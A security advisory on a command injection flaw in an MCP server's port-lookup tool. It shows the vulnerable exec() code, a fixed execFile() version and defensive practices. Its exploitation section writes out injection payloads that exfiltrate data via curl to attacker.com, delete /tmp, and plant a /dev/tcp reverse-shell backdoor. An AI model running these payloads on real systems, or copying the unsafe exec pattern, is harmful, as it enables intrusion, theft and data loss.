Command Injection Vulnerability in Create MCP Server STDIO Tool Exposes System Monitoring Functions

System monitoring and network diagnostics are essential capabilities for many development and operations workflows. Model Context Protocol (MCP) Servers have made it easier than ever to integrate these system utilities with AI-powered tools, allowing developers to query port usage through natural language interactions but at the cost of inadequate security practices? That’s not going to end well.

The Create MCP Server STDIO project provides a foundational template for building MCP Servers with standard input/output communication. This template includes common system monitoring tools that demonstrate how to expose system utilities to AI agents. However, a critical command injection vulnerability has been discovered in the which-app-on-port tool as part of this MCP Server which is designed to identify which application is listening on a specific network port.

The Security Vulnerability in an MCP Server: Port Parameter Injection

The vulnerable MCP tool is designed to identify which application is using a specific network port by combining two system commands: lsof to find the process ID and ps to get the process information. Here’s the insecure code implementation:

server.tool("which-app-on-port", { port: z.number() }, async ({ port }) => {
  const result = await new Promise<ProcessInfo>((resolve, reject) => {
    exec(`lsof -t -i tcp:${port}`, (error, pidStdout) => {
      if (error) {
        reject(error);
        return;
      }
      const pid = pidStdout.trim();
      exec(`ps -p ${pid} -o comm=`, (error, stdout) => {
        if (error) {
          reject(error);
          return;
        }
        resolve({ command: stdout.trim(), pid });
      });
    });
  });

I hope you already can spot the command injection vulnerability here. If not, let me further break it down with some examples and impact.

The critical flaw lies in the direct string interpolation of the port parameter into the shell command. While the schema defines port as a number using Zod validation (z.number()), JavaScript’s dynamic nature and potential validation bypasses can allow string-based attacks.

MCP Server Exploitation Techniques

Even though the parameter is typed as a number, there are several ways this vulnerability can be exploited:

1. Type Coercion Attacks

If the validation is bypassed or if the input goes through type coercion, attackers can inject shell commands:

# Malicious input: "80; curl http://attacker.com/exfil -d $(whoami); #"
# Resulting command:
lsof -t -i tcp:80; curl http://attacker.com/exfil -d $(whoami); #

2. Process Chain Exploitation

The vulnerability becomes more dangerous in the second exec call where the pid variable (derived from the first command’s output) is used:

# If the first command is manipulated to return malicious output:
# Input: "80; echo '123; rm -rf /tmp; #'; #"
# Second command becomes:
ps -p 123; rm -rf /tmp; # -o comm=

3. Advanced Persistent Threats

Sophisticated attacks could establish backdoors or exfiltrate system information:

# Backdoor installation:
"80; echo '#!/bin/bash' > /tmp/backdoor.sh && echo 'bash -i >& /dev/tcp/attacker.com/4444 0>&1' >> /tmp/backdoor.sh && chmod +x /tmp/backdoor.sh && /tmp/backdoor.sh &; #"

Secure Implementation

The vulnerability can be fixed by using execFile() instead of exec() and properly validating numeric input:

const { execFile } = require('child_process');
const { promisify } = require('util');

const execFileAsync = promisify(execFile);

server.tool("which-app-on-port", { port: z.number() }, async ({ port }) => {
  // Validate port is a valid number and in valid range
  if (!Number.isInteger(port) || port < 1 || port > 65535) {
    throw new Error('Invalid port number');
  }

  try {
    // Use execFile with separate arguments
    const { stdout: pidStdout } = await execFileAsync('lsof', ['-t', '-i', `tcp:${port}`]);
    const pid = pidStdout.trim();

    // Validate PID is numeric
    if (!/^\d+$/.test(pid)) {
      throw new Error('Invalid process ID returned');
    }

    const { stdout } = await execFileAsync('ps', ['-p', pid, '-o', 'comm=']);

    return {
      command: stdout.trim(),
      pid: pid
    };
  } catch (error) {
    throw new Error(`Failed to identify application on port ${port}: ${error.message}`);
  }
});

Defense Strategies for MCP Server Developers

Based on the security principles I’ve documented in my Node.js Secure Coding research, here are essential practices for MCP Server developers:

1. Use Safe APIs: Always prefer execFile() over exec() when executing system commands
2. Validate All Input: Even when using type schemas, implement additional validation for critical parameters
3. Principle of Least Privilege: Run MCP Servers with minimal required permissions
4. Input Sanitization: Sanitize all user input before using it in system commands
5. Monitor for Suspicious Activity: Log command executions and monitor for anomalies

The Create MCP Server STDIO vulnerability demonstrates that even well-intentioned system monitoring tools can introduce serious security risks when they don’t properly handle command execution. As MCP Servers become more prevalent in development workflows, security must be a primary consideration from the design phase.

For comprehensive guidance on secure Node.js development practices, explore my resources at Node.js Security.

References

1. Exploiting MCP Servers Vulnerable to Command Injection
2. Node.js Secure Coding: Defending Against Command Injection Vulnerabilities
3. Prior MCP Server vulnerability: Critical Command Injection Flaw in iOS Simulator MCP Server Exposes Development Environments
4. Prior MCP Server vulnerability: Command Injection Vulnerability Discovered in Codehooks MCP Server: A Critical Security Analysis